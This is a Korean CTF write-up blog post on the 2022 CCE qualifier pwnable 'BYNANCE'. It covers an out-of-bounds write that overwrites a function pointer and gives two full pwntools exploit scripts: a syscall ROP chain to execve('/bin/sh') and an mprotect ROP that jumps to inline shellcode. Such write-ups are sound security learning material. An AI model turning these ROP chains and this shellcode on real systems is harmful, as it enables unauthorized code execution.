security/CTF

2022 CCE 예선 - 공용/일반

민사민서 2023. 6. 10. 15:33

PWNABLE [100] - BYNANCE

- 라이브러리 로드도  안되고, p system 해도 함수가 안찾아지며, got/plt도 딱히 없었다

- ida로 열었을 때 function window에 함수가 수상할정도로 많다

- file ./byenance 해보면 확실히 알 수 있다

=> statically compiled binary

 

보호 기법은 : Partial RELRO / No Canary / No PIE / NX bit

IDA 디컴파일 결과

__int64 __fastcall buy_eth(__int64 a1, __int64 a2)
{
  // 생략
  puts("how many eth do you want to buy?", a2, v8);
  fgets(v7, 1024LL, stdin);
  num = atoi(v7);
  v6 = num * current_ETH_price;
  if ( v6 <= balance * (unsigned __int64)(unsigned __int8)leverage )
  {
    balance -= v6 / (unsigned __int8)leverage;
    *((_DWORD *)&order_list + 10 * order_cnt + 6) = 'HTE';
    *((_DWORD *)&order_list + 10 * order_cnt + 8) = 'YUB';
    *((_QWORD *)&order_list + 5 * order_cnt) = current_ETH_price;
    *((_QWORD *)&unk_4C62C8 + 5 * order_cnt) = num;
    v3 = (unsigned __int8)leverage;
    v4 = 40 * order_cnt;
    *(_QWORD *)((char *)&unk_4C62D0 + v4) = current_ETH_price
                                          - current_ETH_price / (unsigned __int64)(unsigned __int8)leverage;
    --current_ETH_price;
    ++order_cnt;
    puts("Your order request is acquired successfully", v3, v4);
    return 0LL;
  }
  else
  {
    puts("Your asset is not enough to get buy position", 1024LL, balance);
    return 0xFFFFFFFFLL;
  }
}
__int64 __fastcall sell_eth(__int64 a1, __int64 a2)
{
  // 생략
  puts("how many eth do you want to sell?", a2, v8);
  fgets(v7, 1024LL, stdin);
  num = atoi(v7);
  v6 = num * current_ETH_price;
  if ( v6 <= balance * (unsigned __int64)(unsigned __int8)leverage )
  {
    balance -= v6 / (unsigned __int8)leverage;
    *((_DWORD *)&order_list + 10 * order_cnt + 6) = 'HTE';
    strcpy((char *)&order_list + 40 * order_cnt + 32, "SELL");
    *((_QWORD *)&order_list + 5 * order_cnt) = current_ETH_price;
    *((_QWORD *)&unk_4C62C8 + 5 * order_cnt) = num;
    v3 = (unsigned __int8)leverage;
    v4 = 40 * order_cnt;
    *(_QWORD *)((char *)&unk_4C62D0 + v4) = current_ETH_price
                                          + current_ETH_price / (unsigned __int64)(unsigned __int8)leverage;
    ++current_ETH_price;
    ++order_cnt;
    puts("Your order request is acquired successfully", v3, v4);
    return 0LL;
  }
  else
  {
    puts("Your asset is not enough to get sell position", 1024LL, balance);
    return 0xFFFFFFFFLL;
  }
}

- buy_eth , sell_eth 호출하여 유효한 수량을 입력하면 order_list에 주문내역이 추가되는 방식이다

- 주의할 점: if문을 통과하지 못하면 배열 인자 추가 불가능!!

전역변수 보면 
4C62A0 : order_cnt
4C62C0 : order_list (크기 0x280)
4C6540 : me (이름 문자열)
4C6560 : balance
4C6568 : leverage
4C6570 : show 함수

=> 전역변수 전부 연속해서 있고, show에 함수 주로를 담아서 호출하는데에서 감이 왔다

=> order_list OOB를 통해 show를 덮어씌우고 show() 호출에서 rip 흐름을 조작할 수 있다!

 

배열 원소 구조는 (pwndbg로 동적분석해보니)
order_list+0 : current_ETH_PRICE
order_list+0x8 : amount 개수
order_list+0x10 : liquidation price
order_list+0x18 : symbol 'ETH' 
order_list+0x20 : position 'BUY' 혹은 'SELL'
(크기 0x28)

me 시작위치 - order_list 시작위치 = 0x280 => MAX_ORDER_CNT = 0x16
show 함수 주소는 17번째 주문의 '수량' 해당한다

Step1. ROPgadget --binary ./byenance | grep ~~  으로 가젯을 찾는다
* syscall 가젯도 찾아주네 (statically compiled library function 내부의 syscall 중 하나)

Step2. "/bin/sh" 문자열이 존재하지 않아 직접 bss 영역에 써야 한다

1) 주소 바뀌지 않는 BSS 영역의 빈 영역 확인

- vmmap으로 확인한 writable area는 0x4c4000 ~ 0x4c7000 인데 끝부분에 NULL Padding 있을 것으로 예상함.

- 0x4c6fb0 혹은 0x4c6fd0 사용하면 되겠다 (0x10바이트정도 아예 안씀)

2) ROP로 fgets 함수 호출하기 위해 필요한 주소들 확인

- 디스어셈블 결과에 따르면 rdx에는 QWORD PTR[0x4c46f8] = 4c4520 을 넣어야 하며
- fgets 주소는 0x412f90

* fgets는 개행문자/EOF 만나거나 num-1개의 문자를 입력할 때까지 입력받는다 + null문자 자동으로 추가됨

 

Step3. syscall ROP를 한다

system 함수도 안찾아지거나, libc leak도 소용없거나, statically compiled / stripped 파일일 때 유용함

mprotect ROP 도 유용하다 (mprotect로 bss 영역 rwx 변경 후 쉘코드 삽입, rip 조작)

sys_execve (64bit)
RAX = 0x3B
RDI = const char *filename
RSI = const char *const argv[]
RDX = const char *const envp[]

cf) exploit 시 주의할 점

balance 전역변수를 order_list[16] 원소의 position property가 덮게 되는데, 이 때 order_list[16].position = 'BUY' (0x425945)이면 18번째 order에서 if문 통과 불가능!!!

order_list[16].position = 'SELL' (0x53454C4C)로 하고 leverage 값 크게 해야 18번째 order 가능!!

 

from pwn import *

p = process("./byenance")
e = ELF("./byenance")

# gadget
poprdi = 0x0000000000402214
poprsi = 0x000000000040a76e
poprdxrbx = 0x0000000000485e9b
poprax = 0x0000000000452907
syscall = 0x0000000000402954
pppr = 0x0000000000485e9a # 4742810

# address
stdin = 0x4c4520
fgets_addr = 0x412f90
writable_area = 0x4c6fb0

# order_list OOB
for i in range(17):
    p.sendlineafter("orders\n", "2")
    p.sendlineafter("sell?\n", "1")

p.sendlineafter("orders\n", "3")
p.sendlineafter("leverage\n", "100")

p.sendlineafter("orders\n", "2 ")
p.sendlineafter("sell?\n", str(pppr))

rop_payload = b''
# fgets(bss area, 0x8, enter)
rop_payload += p64(poprdi) + p64(writable_area) + p64(poprsi) + p64(0x8) + p64(poprdxrbx) + p64(stdin) + p64(0) + p64(fgets_addr)
# execve("/bin/sh", null, null) using syscall
rop_payload += p64(poprdi) + p64(writable_area) + p64(poprsi) + p64(0x0) + p64(poprdxrbx) + p64(0) + p64(0) + p64(poprax) + p64(0x3B) + p64(syscall)

p.sendlineafter("orders\n", rop_payload)
p.send("/bin/sh")

p.interactive()

* fgets()에서 rsp+0x10 위치에 rop payload를 넣고

* show() 호출 시 RET 주소 스택에 push 후 'pppr' 가젯으로 코드 흐름 진행되면서 payload 실행

헷갈린 개념: NX bit 적용되어있는데 스택 영역에 ROP payload 넣으면 실행 안되지 않을까???

- ROP payload 실행 시 rsp와 rip는 별개. show() 함수 실행되면서 rsp는 스택에 삽입된 rop_payload에서 이동하고, rip는 코드영역에서 이동한다 (rop_payload에 담긴 주소 상에서 이동하겠지)

- 스택에 어셈블리 코드를 삽입한 게 x, 단순히 가젯들 + 함수들 주소로 rop chain을 구성해놓은 것!!

- 스택에 쉘코드를 삽입하여, 해당 주소로 rip를 이동하여 실행시켜야 할 때 NX bit 문제가 된다 => mprotect ROP 이용!!!

 

개념 바로잡아주신... thks to Gaurdian 정재영 회장님...

PWNABLE [100] - BYNANCE _ mprotect 풀이!

int mprotect(const void *addr, size_t len, int prot);

- 접근을 제어할 주소(0x1000 크기의 페이지 경계에 맞게 정렬되어야 함. 0x1000의 배수)

- prot은 PROT_READ(1), PROT_WRITE(2), PROT_EXEC(4)의 xor 값

 

고정 주소에 shellcode를 작성 후 그 영역에 실행권한을 주고 rip 흐름 조작하여 exploit

주로 .bss 영역을 사용한다 (pwntools에서 e.bss() 하거나 objdump -h 이용)

from pwn import *

p = process("./byenance")
e = ELF("./byenance")

# gadgets
pppr = 0x0000000000485e9a
poprdi = 0x0000000000402214
poprsi = 0x000000000040a76e
poprdxrbx = 0x0000000000485e9b

# shellcode
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

# address
bss = e.bss() # 0x4c6240
bss_start = 0x4c6000
read = 0x451e80
mprotect = 0x452bf0

# order_list OOB
for i in range(17):
    p.sendlineafter("orders\n", "2")
    p.sendlineafter("sell?\n", "1")

p.sendlineafter("orders\n", "3")
p.sendlineafter("leverage\n", "100")

p.sendlineafter("orders\n", "2")
p.sendlineafter("sell?\n", str(pppr))

rop_payload = b''
# read(0, bss, 0x20)
rop_payload += p64(poprdi) + p64(0) + p64(poprsi) + p64(bss) + p64(poprdxrbx) + p64(0x20) + p64(0) + p64(read)
# mprotect(bss_start, 0x1000, 7)
rop_payload += p64(poprdi) + p64(bss_start) + p64(poprsi) + p64(0x1000) + p64(poprdxrbx) + p64(7) + p64(0) + p64(mprotect)
# RET2shellcode
rop_payload += p64(bss)

p.sendlineafter("orders\n", rop_payload)
p.send(shellcode)

p.interactive()

 

뽀인트

- bss/bss_start 조합 대신 0x4c8000 같은 임의의 고정 주소 사용해도 됨

- 해당영역에 write 권한만 있다면 shellcode read 후 mprotect 해도 됨. 

'security > CTF' 카테고리의 다른 글

[HSpace CTF] HSpace Notepad  (0) 2023.09.02
2022 CCE 예선 - 청소년  (0) 2023.06.08